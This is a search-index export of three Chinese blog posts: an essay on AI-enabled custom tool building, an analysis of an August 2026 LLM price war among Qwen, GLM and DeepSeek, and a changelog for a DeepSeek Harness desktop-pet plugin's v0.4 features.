[{"categories":["Tech"],"content":"从板书到 PPT，再到 AI 定制开发——AI 把「造系统」的门槛降到人人可及，人人能用需求定制专属工具。但工具越强，用的人越得清楚自己要什么：业务懂数据与流程，研发守治理，老师懂课程规律。「大定制时代」奖励有积累的人。","date":"2026-08-29","objectID":"/posts/2026/08/29/big-customization-era/","tags":["ai","thoughts","customization","low-code","education"],"title":"从板书到PPT，再到 AI 定制开发：“大定制时代”来了","uri":"/posts/2026/08/29/big-customization-era/"},{"categories":["Tech"],"content":"01 从板书到PPT，再到 AI 定制开发 最近一直在思考一些东西。 比方说现在 AI 生成PPT快得很，输入主题，几秒钟大纲出来，再点一下，内容排版配色全给你整好。但我总觉得如果 AI 只是用来做PPT，那也太浪费了。 PPT是什么？放给别人看的演示文稿，一页接一页，讲完收工，早年要制作胶片再配合幻灯机，也叫幻灯片，后面才转移到电脑上制作了。AI 的能力远不止做PPT：它能做网页、小程序、甚至整个业务系统。这些东西是让人用的，不是让人看的。 其实教育领域早就有过类似的变化。 我上学那会儿，老师上课全靠板书。一节课写满两黑板，粉笔灰飘一教室。后来有了PPT，点一下鼠标就会有动画飞进来，图片甚至视频随便插，信息量多多了。其实做PPT，就是最早的图形化编程——不用写代码，把文字、图片、动画拖拖排排，一个能跑的东西就搭出来了。 那么现在呢？ 我研究过几个 AI 教育的案例，有些老师自己用 AI 做了个随堂测验的小程序。学生扫码答题，系统自动统计正确率，哪个知识点没掌握一目了然。以前这些事想都不敢想，做个互动课件得找公司开发，报价好几万。现在这些老师一个人就能搞定。我在想，这和当年老师们做PPT何其相似。 从板书到PPT，是从“手写”到“拖拽”。从PPT到 AI 定制开发，是从“拖拽”到“说句话”，更是从单向演示到双向交互。 我管这叫“大定制时代”——每个人都能根据自己的需求，用 AI 定制自己的专属工具。 不再只有大公司才能开发系统，也不再只有技术人员才能搭建平台。一个老师、一个运营、一个销售或者任何有自己需求的人，只要清楚自己想要什么，就能把想法变成能跑起来的应用。 我自己就是这么干的。最近我用 AI 给 DeepSeek Harness 写了个桌宠插件：任务一完成，桌宠就蹦出来喊「妈」（见《任务一完成，它就蹦出来喊「妈」——给 DeepSeek Harness 养一头牛来》）。从念头到能用，也就几天的业余时间。 这个变化不仅发生在教育界，职场更猛。 ","date":"2026-08-29","objectID":"/posts/2026/08/29/big-customization-era/:1:0","tags":["ai","thoughts","customization","low-code","education"],"title":"从板书到PPT，再到 AI 定制开发：“大定制时代”来了","uri":"/posts/2026/08/29/big-customization-era/"},{"categories":["Tech"],"content":"02 业务人员正在“革命” 以前业务人员想改个系统功能，得提需求、等排期、等开发、等测试，两周算快的。现在用 AI，改几句描述，马上能看到效果。这不只是快，更是把试错权拿了回来——错了能立马改，成本几乎为零。 听起来很美对吧？但也有不少缺陷。 我见过不少人用 AI“做”了一堆系统，最后发现只是几个长得像系统的页面。数据不通，逻辑连不上，点来点去都是死链接。 业务人员可以不会写代码，但必须开始理解两件事：数据怎么存的，流程怎么转的。 否则 AI 再强，搭出来的也是一堆“高级PPT”——看起来像个系统，实际上不能稳定运行。 我有个做运营的朋友，最近在学怎么看数据库表结构。我问他：你一个运营，学这个干嘛？他说，不然 AI 帮我生成的东西我连改都不知道从哪改。产品经理其实也一样，既然你想要更大的自由或者说掌控权，那么原来研发人员承担的一些责任和能力，相应地也一并承接过来了，那些有点技术的东西也要去研究学习了。 能跟 AI 对话的人，首先得知道自己到底要什么。 AI 并非魔法，它只是把你脑子里的东西加速实现。脑子里没有东西，加速也没用。 ","date":"2026-08-29","objectID":"/posts/2026/08/29/big-customization-era/:2:0","tags":["ai","thoughts","customization","low-code","education"],"title":"从板书到PPT，再到 AI 定制开发：“大定制时代”来了","uri":"/posts/2026/08/29/big-customization-era/"},{"categories":["Tech"],"content":"03 研发的退与进：无事可干，还是无事不可干？ 有人说 AI 让研发变得可有可无。我认为恰恰相反，研发的不可替代性正在飙升，只不过角色从“前台”退到了“中后台”。 退一步，建基座。 AI 算力调度、RAG知识库精准召回、多租户隔离、数据血缘追踪——这些业务人员不会关心，但任何一个环节出问题，整个 AI 系统就是空中楼阁。 进一步，设护栏。 业务用 AI 生成的代码往往忽略安全边界和合规性。研发的核心价值变成了：给 AI 生成的代码做Code Review，防止Prompt注入攻击，定义“AI 能干什么、不能干什么”的边界策略。 未来的研发不再是写CRUD，而是做三件事：保障稳定、守护数据、划定边界。或者简单来说是基建和兜底，也就是治理权。 ","date":"2026-08-29","objectID":"/posts/2026/08/29/big-customization-era/:3:0","tags":["ai","thoughts","customization","low-code","education"],"title":"从板书到PPT，再到 AI 定制开发：“大定制时代”来了","uri":"/posts/2026/08/29/big-customization-era/"},{"categories":["Tech"],"content":"04 争了二十年的系统所有权，现在轮到谁了？ 业务和研发争系统所有权，不是今天才开始的。这其实是一场持续二十年的“系统所有权争夺战”。 Excel时代：业务人员用表格就能管数据，所有权100%在业务手中。 MIS/ERP时代：信息管理系统上线，业务得到便利，但失去了对系统逻辑的掌控。改个字段都要找研发。 低代码时代：试图把部分定义权还给业务，但复杂业务依然离不开研发支持，卡在中间两头不讨好。 AI 时代：业务第一次真正拥有了“把想法瞬间变系统”的能力，逻辑定义权回归。 看上去，业务这一回终于赢了。 但这并不意味着研发出局。相反，当业务用 AI 生成10个功能雷同、数据不通的小系统时，研发的价值变成了：把这10个碎片抽象整合成1个高可用的企业级能力中心。 历史总是螺旋上升的。 AI 让业务拿回了逻辑定义权，可过不了多久就会发现：碎片化的小系统需要整合，数据需要打通，安全需要兜底。这些事，最后还是得回到研发手上。这就是「集中→分散→再集中→再分散」的螺旋——每一次分散释放创造力，每一次集中沉淀基础设施。 轮流坐庄，但周期越来越短。 以前ERP时代一个轮回走十年，现在可能一年就走完一轮。 使用权归业务，治理权归研发。 各退一步，同时也是各自往前多走了一步。 从数字化到智能化，权力在变，壁垒也在变。技术壁垒在变浅，AI 把写代码这件事摊平了，谁都能上手。业务壁垒反而变深，领域知识、SOP 工艺流程参数这些私有的专业数据，AI 生成不出来，只能靠业务一点点攒、一点点喂。往后拼的不再是谁家系统多，而是谁手里的专业数据厚。私有数据成了公司的核心竞争力，定制化能力，正在变成新的护城河。 ","date":"2026-08-29","objectID":"/posts/2026/08/29/big-customization-era/:4:0","tags":["ai","thoughts","customization","low-code","education"],"title":"从板书到PPT，再到 AI 定制开发：“大定制时代”来了","uri":"/posts/2026/08/29/big-customization-era/"},{"categories":["Tech"],"content":"05 教育的同一条逻辑：古法编程的启示 美国高校的CS课堂现在有个有趣的对照。斯坦福2025年秋季开了门爆满的新课 CS146S《现代软件开发者》，规定是反过来的：不许手写一行代码，必须全程用 AI 完成开发，作业还得附上你和 AI 的对话过程。但这门课不是零基础就能上的——它要求学生已经具备扎实的编程基础。与此同时，更多美国高校的CS基础课在课程大纲里白纸黑字写着：禁用ChatGPT、Copilot，代码必须自己手写，这个被戏称为「古法编程」——不用 AI，甚至不能上网查。 乍一看挺矛盾的，都 AI 时代了还搞这一套？ 仔细想想就能明白：AI 是个好帮手，但基本功得你自己有。 没被内存溢出折磨过的人，看不懂 AI 生成的代码为什么在高并发下崩掉。没在断点调试里耗过半小时的人，理解不了什么叫“程序是跑出来的，不是写出来的”。 逻辑很简单：先装底层操作系统，再装高级应用。 顺序不能乱。教育如此，职场亦如此。 ","date":"2026-08-29","objectID":"/posts/2026/08/29/big-customization-era/:5:0","tags":["ai","thoughts","customization","low-code","education"],"title":"从板书到PPT，再到 AI 定制开发：“大定制时代”来了","uri":"/posts/2026/08/29/big-customization-era/"},{"categories":["Tech"],"content":"06 说几句大实话 回到最开始那个想法：AI 都能做PPT了，那人的价值何在？ 从板书到PPT，从PPT到 AI 定制开发。每次跃迁都在降低创作的门槛，同时也在提高创作者的门槛。 工具越强，用工具的人得越清楚自己要什么。 这一点我在《Need Is All You Need》里聊过：先想清楚为什么而做，工具才有意义。 业务人员得懂数据和流程，研发人员得懂安全和治理，老师得懂课程设计、教育理论和教育心理学。什么都没有的人，AI 给他再多他也接不住。说到底，未来的职场不是「业务 vs 研发」的对立，而是领域专家与系统专家的握手。 你得先有东西能被放大。 这是“大定制时代”的残酷之处，也是公平之处——它奖励有积累的人，惩罚什么都不想动脑子或纯许愿的人。 至于 AI 会不会取代人？我觉得不会。但我认同那句话： AI 不会取代你，但会用 AI 的人会。 ","date":"2026-08-29","objectID":"/posts/2026/08/29/big-customization-era/:6:0","tags":["ai","thoughts","customization","low-code","education"],"title":"从板书到PPT，再到 AI 定制开发：“大定制时代”来了","uri":"/posts/2026/08/29/big-customization-era/"},{"categories":["Tech"],"content":"8 月 26 日这一夜，阿里 Qwen3.8-Flash 与智谱 GLM-5.3-Flash（匿名模型「牛来」）同夜开源，全行业涨价，它俩逆势往下砍。价格战只是表面：能力过了「实用够用线」之后，用户、流量、影响力本质都是同一件事——注意力。谁能控制注意力，谁就抓住重点。","date":"2026-08-26","objectID":"/posts/2026/08/26/qwen-glm-flash-price-war/","tags":["tech","ai","qwen","glm","deepseek","大模型","牛来","pricing","opensource"],"title":"AI界的「牛来」了，AGI时刻之前，注意力是如何转移的？","uri":"/posts/2026/08/26/qwen-glm-flash-price-war/"},{"categories":["Tech"],"content":"8 月 26 日这晚间，「牛来」了，当然这次是 AI 圈的牛来了。 阿里千问、智谱在 24 小时内先后亮剑：Qwen3.8-Flash 和 GLM-5.3-Flash，都开源，且都宣称性能超过 Opus 4.6、逼近 Opus 4.8，价格都压到 DeepSeek 的几分之一。性能、价格都摆在那儿，要关注的是另一个信号——所有人都在涨价，只有这两家逆势砍价；砍价是手段，抢注意力才是目的。 这一夜看着是价格战，其实是一串注意力转移：DeepSeek 用 0.2 元的价格锚，把注意力从「谁最强」拽到「谁最便宜」；「牛来」用匿名加免费，把它从「比价」拽到「猜底牌」；阿里智谱用架构，把斩杀线的刻度从「每 token」换成「每任务」；字节腾讯用应用入口，把战场从「卖 API」挪到「占入口」。四步走完，注意力已经离开「性能第一」，落到「够用够快」——下一次能把它重新引爆的，只剩 AGI。 ","date":"2026-08-26","objectID":"/posts/2026/08/26/qwen-glm-flash-price-war/:0:0","tags":["tech","ai","qwen","glm","deepseek","大模型","牛来","pricing","opensource"],"title":"AI界的「牛来」了，AGI时刻之前，注意力是如何转移的？","uri":"/posts/2026/08/26/qwen-glm-flash-price-war/"},{"categories":["Tech"],"content":"一、全行业在涨价 Qwen3.8-Flash 发布之前，大模型的价格曲线已经集体掉头。 DeepSeek 先调价：8 月 17 日，V4 全系启用峰谷分时计费，高峰输出回到旧价的 4.7 倍。它走的本是普惠路线，这次调价，是扛不住这么多人用，用价格赶走一部分需求。 巨头实打实地涨：OpenAI、谷歌、Anthropic 相继上调 API 价格或收缩免费额度。 原因其实也不复杂：推理需求跑赢算力供给，Agent 应用把一次调用拆成几十次，账单从「一问一答」变成「一个任务跑几小时」。低价扛不住，只能涨价。 就在这个全行业涨价的月份，阿里和智谱逆势压价。 ","date":"2026-08-26","objectID":"/posts/2026/08/26/qwen-glm-flash-price-war/:1:0","tags":["tech","ai","qwen","glm","deepseek","大模型","牛来","pricing","opensource"],"title":"AI界的「牛来」了，AGI时刻之前，注意力是如何转移的？","uri":"/posts/2026/08/26/qwen-glm-flash-price-war/"},{"categories":["Tech"],"content":"二、注意力第一次转移：性能 → 价格（DeepSeek 的价格锚） 第一次转移发生在价格上：DeepSeek 用一枚价格锚，把注意力从「谁最强」拽到「谁最便宜」。 2026 年 4 月 24 日，DeepSeek 发布 V4 预览版。定位「经济之选」的 V4-Flash，2840 亿总参数、激活 130 亿，缓存命中输入低到 0.2 元/百万 tokens。 当时主流模型还在按「每百万 tokens 几美元」计价，DeepSeek 直接把价格按进地板。 这个「价格锚点」悬在所有厂商头顶。大模型切换成本极低，开发者换底层模型几乎没有迁移负担；一款模型性价比一旦落到某条线以下，失去的不是缓慢的份额，而是商业存在感。这条线后来被叫「斩杀线」。 ","date":"2026-08-26","objectID":"/posts/2026/08/26/qwen-glm-flash-price-war/:2:0","tags":["tech","ai","qwen","glm","deepseek","大模型","牛来","pricing","opensource"],"title":"AI界的「牛来」了，AGI时刻之前，注意力是如何转移的？","uri":"/posts/2026/08/26/qwen-glm-flash-price-war/"},{"categories":["Tech"],"content":"三、注意力第二次转移：价格 → 神秘（「牛来」匿名登场） 第二次转移更狡黠：「牛来」匿名上线，把「比价」变成「猜底牌」。 市场刚适应 DeepSeek 的价格统治，8 月 21 日，一个代号 Ox Alpha 的匿名模型上线。完全免费，性能能打，使用量一度冲到 DeepSeek 的两倍以上。代号「Ox」意为公牛，网友叫它「牛来」。 全网都在猜是谁的底牌。有人猜小米，有人猜谷歌。8 月 26 日，智谱揭晓：「牛来」就是 GLM-5.3-Flash。 这招匿名偷袭没有品牌包袱，用免费策略测市场反应，顺手收割口碑。配套的《牛之馈赠》体验卡海报，新朋友免费领 7 天、每天仅限 1 万张——免费+限量，正是抢注意力的标准打法。智谱官方还披露一个细节：**「牛来」的全部调用流量，都由国产芯片提供算力。**大规模生产环境里扛住顶级流量的实战检验。 ","date":"2026-08-26","objectID":"/posts/2026/08/26/qwen-glm-flash-price-war/:3:0","tags":["tech","ai","qwen","glm","deepseek","大模型","牛来","pricing","opensource"],"title":"AI界的「牛来」了，AGI时刻之前，注意力是如何转移的？","uri":"/posts/2026/08/26/qwen-glm-flash-price-war/"},{"categories":["Tech"],"content":"四、阿里掀桌：Qwen3.8-Flash 智谱刚认领完「牛来」，当晚阿里千问发布 Qwen3.8-Flash。 同为 MoE 架构，1250 亿总参数只激活 60 亿，训练成本骤降 90%。定价输入 1 元、输出 3 元/百万 tokens，击穿 DeepSeek V4-Flash 调价后的闲时价。但杀招不在价格，在架构。 ","date":"2026-08-26","objectID":"/posts/2026/08/26/qwen-glm-flash-price-war/:4:0","tags":["tech","ai","qwen","glm","deepseek","大模型","牛来","pricing","opensource"],"title":"AI界的「牛来」了，AGI时刻之前，注意力是如何转移的？","uri":"/posts/2026/08/26/qwen-glm-flash-price-war/"},{"categories":["Tech"],"content":"性能：6B 激活参数打顶级战绩 基准测试 Qwen3.8-Flash 对比对手 差距 DeepSWE 1.1（智能体编程） 58.7 Qwen3.7-Plus（参数 3 倍） 16.5 CoWorkBench（长周期办公） 73.9 Claude Opus 4.6（Max） 68.2 JobBench（专业岗位） 55.7 Claude Opus 4.6（Max） 36.6 HLE 上 35.9 分仍落后 Opus 4.6 的 40.0 分，但多数实用场景已经能正面抗衡。 ","date":"2026-08-26","objectID":"/posts/2026/08/26/qwen-glm-flash-price-war/:4:1","tags":["tech","ai","qwen","glm","deepseek","大模型","牛来","pricing","opensource"],"title":"AI界的「牛来」了，AGI时刻之前，注意力是如何转移的？","uri":"/posts/2026/08/26/qwen-glm-flash-price-war/"},{"categories":["Tech"],"content":"架构：Qwen4 的骨架提前亮相 混合注意力：GDN（Gated DeltaNet）+ QSA（Qwen Sparse Attention），对 Transformer 注意力机制的底层重构，不是简单压缩。 N-gram Embedding：额外 51B，不增加推理成本，提知识密度。 Qwen4 预览版：开源版本 Qwen3.8-Flash-Next 被明确定义为「Qwen4 架构的早期预览」。阿里把下一代架构的核心能力提前以 Flash 版本释放，收集真实反馈，用技术代差压对手。 ","date":"2026-08-26","objectID":"/posts/2026/08/26/qwen-glm-flash-price-war/:4:2","tags":["tech","ai","qwen","glm","deepseek","大模型","牛来","pricing","opensource"],"title":"AI界的「牛来」了，AGI时刻之前，注意力是如何转移的？","uri":"/posts/2026/08/26/qwen-glm-flash-price-war/"},{"categories":["Tech"],"content":"五、智谱的底牌 继 DeepSeek 投身架构精进并参与配合改进国产芯片之后，智谱也走上了这条路。 GLM-5.3-Flash 的低成本不是靠堆数据或压参数硬挤，是架构重构： 混合架构：线性注意力 + 稀疏注意力，保长上下文精度的同时降服务成本。注意力计算量降 3.01 倍，KV 缓存降 4.44 倍。 原生多模态：视觉能力原生进推理闭环，模型自己判断何时该「看」，用视觉反馈指导下一步。在 Blender 里，它自主运行 16 小时搭了约 400 平方米的专业主厨自宅与测试厨房。 国产芯片实战：EPD（Encode-Prefill-Decode）分离式架构加内存优化，国产芯片端到端服务性能提升 3 倍，单 token 成本已与主流英伟达 GPU 相当。 ","date":"2026-08-26","objectID":"/posts/2026/08/26/qwen-glm-flash-price-war/:5:0","tags":["tech","ai","qwen","glm","deepseek","大模型","牛来","pricing","opensource"],"title":"AI界的「牛来」了，AGI时刻之前，注意力是如何转移的？","uri":"/posts/2026/08/26/qwen-glm-flash-price-war/"},{"categories":["Tech"],"content":"六、注意力第三次转移：每 token → 每任务（斩杀线换刻度） 第三次转移在刻度上：阿里和智谱用架构，把斩杀线从「每 token」换成「每任务」。 衡量单位不再是「每百万 token 多少钱」，而是「跑完一项真实任务要花多少钱」。Artificial Analysis 的数据： 模型 智能指数 每任务成本 Claude Opus 4.8 57 $2.03 DeepSeek V4 Pro 53 $0.25 DeepSeek V4 Flash 0731 52 $0.11 GPT-5.6 Luna 52 $0.05 Opus 4.8 跑完一项任务要 2.03 美元，GPT-5.6 Luna 只要 0.05 美元，差约 40 倍。这就不是「价格高低」的问题，是「商业模式能不能成立」的问题。Qwen3.8-Flash 和 GLM-5.3-Flash 的定价，就落在这条新斩杀线上。 顺带回答一个疑问：DeepSeek 这轮是不是掉到斩杀线下了？按旧的「每 token」刻度，是——Qwen3.8-Flash 的 1 元/3 元，击穿了它调价后的闲时价。但斩杀线的刻度已经换成「每任务」，DeepSeek V4 Flash 0731 每任务成本 0.11 美元，还在线内。它真正丢的不是价格，是注意力的中心位。还有一点：涨价从来不是战略，是需求管理——一旦用户分流、算力空转，降价随时会回来。价格战不是打完就结束，是循环。 ","date":"2026-08-26","objectID":"/posts/2026/08/26/qwen-glm-flash-price-war/:6:0","tags":["tech","ai","qwen","glm","deepseek","大模型","牛来","pricing","opensource"],"title":"AI界的「牛来」了，AGI时刻之前，注意力是如何转移的？","uri":"/posts/2026/08/26/qwen-glm-flash-price-war/"},{"categories":["Tech"],"content":"七、注意力第四次转移：每任务 → 每入口（应用粘住注意力） 第四次转移发生在入口上。API 按 token 卖，切换成本几乎为零——开发者今天换底层模型，明天就能换回来。所以价格战打到每任务美分级，就打到头了：再便宜，也是「谁都留不住」的生意。下一格战场，是让用户离不开你的「入口」。 同一周，字节已经动手。7 月 30 日，飞书团队整体并入豆包——30 亿 ARR 的协作入口被拆开、并进 AI；8 月 24 日，TRAE 和扣子并入豆包；8 月 25 日，「豆包工作」发布，与飞书深度打通。三件事一个意思：不再把大模型当 API 卖，而是嵌进工作流、企业知识、账号体系里。应用粘的不是模型能力，是工作流 + 企业知识 + 账号——这三样切换成本极高，用户一旦进去就难出来。 腾讯的 WorkBuddy 是催化剂：百万日活的 AI 办公入口，证明「AI 办公」这条赛道有真实的注意力盘子。阿里走同一路：QoderWork、MuleRun、悟空几个办公 AI 产品，合并成「千问办公」。三家朝同一个方向加注——从「卖能力」转向「占入口」。 斩杀线因此又抬高一格。上一格换的是刻度（每 token → 每任务），这一格换的是战场（每任务 → 每入口）。价格和速度只是门票，入口才是终点。 ","date":"2026-08-26","objectID":"/posts/2026/08/26/qwen-glm-flash-price-war/:7:0","tags":["tech","ai","qwen","glm","deepseek","大模型","牛来","pricing","opensource"],"title":"AI界的「牛来」了，AGI时刻之前，注意力是如何转移的？","uri":"/posts/2026/08/26/qwen-glm-flash-price-war/"},{"categories":["Tech"],"content":"八、后半场 这场由 DeepSeek 点燃、由「牛来」引爆、由阿里智谱接力的降价战，剩下几件事： **对参数麻木了。**没人在乎总参数多少，只在乎激活多少、回答一个问题几分钱。GLM-5.3-Flash 用 320 亿总参数（激活 18 亿）做到与 Opus 4.8 持平的 57 分。 **斩杀线继续上移。**当每任务成本被打到美分级，还停在美元级的模型会迅速失去存在感。 **闭源护城河变浅。**开源模型以几十分之一的价格给到接近 Opus 4.8 的性能，闭源只剩「数据安全」和「企业服务」两条浅沟。Claude Code 就是注脚：ARR 环比增速从年初超 600% 跌到 8 月的 5.2%，同期 Codex 是 20.8%，隐形水印政策还引发退订争议。 国产算力不再是备胎。「牛来」在国产芯片上扛住峰值流量，说明国产算力具备大规模商用可行性。 **开源成了核威慑。**中国开源模型下载量占全球 41%，首次超过美国。阿里把旗舰级开源，智谱把 Ox Alpha 免费——不开源，连上牌桌的资格都没有。 对于开发者，这是好时代：几块钱让模型写本小说、设计一套厨房、审一份合同。对于大模型厂商，上半场比谁跑得快，下半场比谁活得久——筹码不是更炫的 Demo，是更极致的成本控制、更硬核的架构、更自主的算力底座。 ","date":"2026-08-26","objectID":"/posts/2026/08/26/qwen-glm-flash-price-war/:8:0","tags":["tech","ai","qwen","glm","deepseek","大模型","牛来","pricing","opensource"],"title":"AI界的「牛来」了，AGI时刻之前，注意力是如何转移的？","uri":"/posts/2026/08/26/qwen-glm-flash-price-war/"},{"categories":["Tech"],"content":"九、过了门槛，争的是注意力 归根结底，Qwen 和智谱抢的，是比「性能第一」更关乎发展生存的东西。 能力过了「实用够用线」——编程、办公、岗位这些真实任务不再翻车——之后，除了少数把模型逼到 HLE 这类前沿题的重度用户，大多数人分不出 57 分和 52 分的差别。大家更在意的，是便宜、是快——前提是质量不塌。Qwen3.8-Flash 和 GLM-5.3-Flash 卡的就是这个位置：能力够用，价格和速度拉满。 用户、流量、影响力，本质都是同一件事——注意力。GPT 的价格和策略隔一阵就重置一次，一边拉新用户，一边抢注意力。很多东西和 AI 一样，价值不在自己手里，在别人愿意花多少注意力看你。谁能控制注意力，谁就能抓住重点。 争 SOTA 也一样——刷榜第一，本质是抢注意力。只是过了少数一两家争雄的年代，榜单轮流换人，大家早看麻了。下一次能重新引爆所有人注意力的，只剩一件事：突破到 AGI。 而且「性能」这个标的本身也不干净。它一半是真能力，一半是打榜和做秀——刷 benchmark 炒分数、发 PR 炒「最强」，用「强」抢注意力。还有一条更隐蔽的路：危言耸听。Fable 5 那阵，Anthropic 一边喊「Mythos 级、史上最强」，一边到国会要求立法限制——「强」和「危险」互相矛盾却能同时喊，说明都是手段，不是事实。而「危险」这副面具抢的不是流量，是规则制定权：让国会出手，等于给没赶上牌桌的对手设门槛。这比降价狠得多。 「牛来」了。它是技术狂飙和市场内卷的合力结果。方向只有一个：向前，向应用，向每一个真实的需求。 ","date":"2026-08-26","objectID":"/posts/2026/08/26/qwen-glm-flash-price-war/:9:0","tags":["tech","ai","qwen","glm","deepseek","大模型","牛来","pricing","opensource"],"title":"AI界的「牛来」了，AGI时刻之前，注意力是如何转移的？","uri":"/posts/2026/08/26/qwen-glm-flash-price-war/"},{"categories":["Tech"],"content":"dsh 桌宠插件 v0.4 全记录：B 站评论区点名的奶龙捧腹大笑（15.7 秒音画对齐、157 帧 webp）和大狗叫都来了，外加赛博猫真猫叫、小奶龙内置、奶牛退役；自定义角色包一个 zip 就是一个角色，试玩页拖入即玩；多只同屏按只配置、设置卡片大改（配置对象选择器+预览图点哪只哪只发光）；一维物理碰撞加高度门槛，拎过头顶不推人、砸头按落差反弹；一起飞彩带式随机航道、全家福均匀/层次双档排布。","date":"2026-08-23","objectID":"/posts/2026/08/23/dsh-niulai-pet-v04/","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"史诗级更新：自定义角色和桌宠乐园——DeepSeek Harness 桌宠插件 v0.4 全记录","uri":"/posts/2026/08/23/dsh-niulai-pet-v04/"},{"categories":["Tech"],"content":"一、这期有点多，先报个幕 上一期给桌宠装了耳朵（喊一声「牛来」它就停，浏览器里跑中文 KWS 的全记录）。这期本来只想把预告过的自定义皮肤做掉，结果收不住：B 站评论区点名的奶龙大笑和大狗叫得安排；角色一多，一只变多只；多只就会互相穿模，于是有了物理碰撞；都能站一排了，干脆再来张全家福。 从 v0.3.0 到 v0.4.7，二十六个 commit，桌宠从一只变成一群。一个个说。 ","date":"2026-08-23","objectID":"/posts/2026/08/23/dsh-niulai-pet-v04/:1:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"史诗级更新：自定义角色和桌宠乐园——DeepSeek Harness 桌宠插件 v0.4 全记录","uri":"/posts/2026/08/23/dsh-niulai-pet-v04/"},{"categories":["Tech"],"content":"二、新成员：评论区点名的都加了 奶龙（捧腹大笑）。第一期视频评论区点名要奶龙。叫声是原片大笑段完整降噪，15.7 秒；画面从视频切片抠帧，157 帧 webp 按 10fps 原生播放，和音轨同一条时间线——任务一完成，它从站姿弯腰捧腹，笑到抱头倒地打滚，结尾不吞。这条素材踩了两个坑：帧清洗曾把胸前白斑当水印抹掉（后改中位数底图差分，再把内部小洞做原色回填，胸斑眼白全恢复）；大笑帧的头顶曾被裁切框切掉一截，裁切对齐按全序列最高帧重做，只裁该裁的 7px。另外倒地帧同机位物理缩放，不然倒地打滚会比站着大一圈。 大狗。第二期视频评论区要的「大狗叫」。立绘来自开源项目 Dagou-Tap-New（自带 alpha，不用抠图），叫声是「大狗大狗叫叫叫」链式合成，签名动作连跳。 赛博猫。两张猫图（一站一趴）抠出来上岗，配的是真猫叫。平时趴着睡，喊叫才站起来，声止再站两秒半才趴回去。趴睡图顺带开了一个新通道 images.sleep，还为趴睡类皮肤修了嘴型「合嘴」相位闪回睡图的问题。 小奶龙（奶龙宝宝）。和奶龙不撞脸，AI 生图动作条切帧 +「我才是奶龙」原声切片，喊叫带逐帧演出。默认个子 100px，奶龙 155px，爷俩站一起不用调。 奶牛退役。初代手绘奶牛实现简单、质量差点意思，这期退役给新成员腾位置，SVG 存档留在仓库 tools/drawn/。 ","date":"2026-08-23","objectID":"/posts/2026/08/23/dsh-niulai-pet-v04/:2:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"史诗级更新：自定义角色和桌宠乐园——DeepSeek Harness 桌宠插件 v0.4 全记录","uri":"/posts/2026/08/23/dsh-niulai-pet-v04/"},{"categories":["Tech"],"content":"三、自定义角色包：上期挖的坑填了 上期预告过的自定义皮肤，落地成了「角色包」：一个 .nlpack.zip（pack.json + 透明底图 + mp3 叫声）就是一个完整角色。两级模型（角色/皮肤），导入带 zip 校验，IndexedDB 持久化，删除自动回落内置皮。 使用路径：设置卡片「自定义角色」区导入；试玩页把 .nlpack.zip 直接拖进页面即时预览（不落库，刷新即还原）；不会做包的，卡片上有个「让 dsh 帮我做」按钮——让 agent 自己给你搓一个。仓库里放了个最小示例包（一个无名机器人）专门用来试导入流程，从零做包看 SKIN_AUTHORING.md，AI 生图提示词、逐帧动作条切分、派生覆盖包玩法都在里面。 这区还修了个 bug：删除或导入角色包后，所有桌宠有几率变成同一只，整体刷新才恢复。根因是订阅皮肤列表的回调里误用了全局 skin 而不是各只自己的 mySkinId——列表一变，全员跟着换脸。已修。 ","date":"2026-08-23","objectID":"/posts/2026/08/23/dsh-niulai-pet-v04/:3:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"史诗级更新：自定义角色和桌宠乐园——DeepSeek Harness 桌宠插件 v0.4 全记录","uri":"/posts/2026/08/23/dsh-niulai-pet-v04/"},{"categories":["Tech"],"content":"四、从一只到多只：按只配置是正常需求 主宠右键「再添一只」，上限默认连主 10 只，设置里最高能调到 15。皮肤、大小、唠叨语录全部按只存。 设置卡片为此大改：多只时顶部出现「配置对象」选择器，带皮肤预览图，点预览图，对应那只桌宠会发光加小跳回应——一屏十几只的时候，不用猜自己在配哪只。大小从数字输入改成滑杆（72-200px，按皮肤带默认值），偏离默认时出现「重置」按钮。语录一行一条，按只编辑。 ","date":"2026-08-23","objectID":"/posts/2026/08/23/dsh-niulai-pet-v04/:4:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"史诗级更新：自定义角色和桌宠乐园——DeepSeek Harness 桌宠插件 v0.4 全记录","uri":"/posts/2026/08/23/dsh-niulai-pet-v04/"},{"categories":["Tech"],"content":"五、物理碰撞：一维世界加一道高度门槛 多只同屏第一天就发现问题：桌宠互相穿模，挤在一起不分彼此。于是做了一套简化物理：x 轴一维世界，走近互挤，撞狠了弹飞，落地和重撞有闷响。开关制，右键菜单「物理碰撞」开。 还补了两处： 误推的坑：初版只按 x 轴判断，没管被拎状态——你拎着一只越过另一只头顶，底下那只照样被推开，因为被拎着时和对方不在一个平面。挤压判定加了高度门槛：被拎者脚底高过对方头顶就不触发。 砸到头上，按落差定反弹强度。拎到半空松手砸中，和齐头高蹭到，不是一个量级，反弹速度随落差走。 坠落过程身体是倾斜的，只有落地后才恢复直立。 试过做真堆叠（站上别只头顶），效果怪，砍了，这个限制记在最后。 ","date":"2026-08-23","objectID":"/posts/2026/08/23/dsh-niulai-pet-v04/:5:0","tags":["tech","ai","deepseek","harness","plugin","desktop-pet","牛来"],"title":"史诗级更新：自定义角色和桌宠乐园——DeepSeek Harness 桌宠插件 v0.4 全记录","uri":"/posts/2026/08/23/dsh-niulai-pet-v04/"},{"categories":["Tech"],"content":"六、乐园玩法：一起飞和全家福 试玩页右上角两个整活按钮，插件侧在主宠菜单里： 一起飞：彩带式持续起飞。一只接一只从随机一侧飞出，航道、时长、间隔全部带随机；只显示飞行中的桌宠，站立的先藏起来；同时在飞的有并发上限（阵容的一半），多了排队，不会糊成一团。落地藏宠和 flight 收尾在同一个同步段完成（onFlightEnd 回调），零闪烁。飞行期间不触发任务庆祝——不然庆祝会把飞着的拽回地面。 全家福：两档排布循环切换。均匀列队——牛来 C 位，奶龙、小奶龙一边一个对称站；层次合影（桌宠总动员）——高个靠后、矮个往前，相邻叠压约四分之一身位，叠出前后纵深。合影期间主宠钉住置顶不被挡，收起后各回各位。排布逻辑抽成了共享模块（src/client/family.ts），试玩页和插件两侧跑同一套代码。 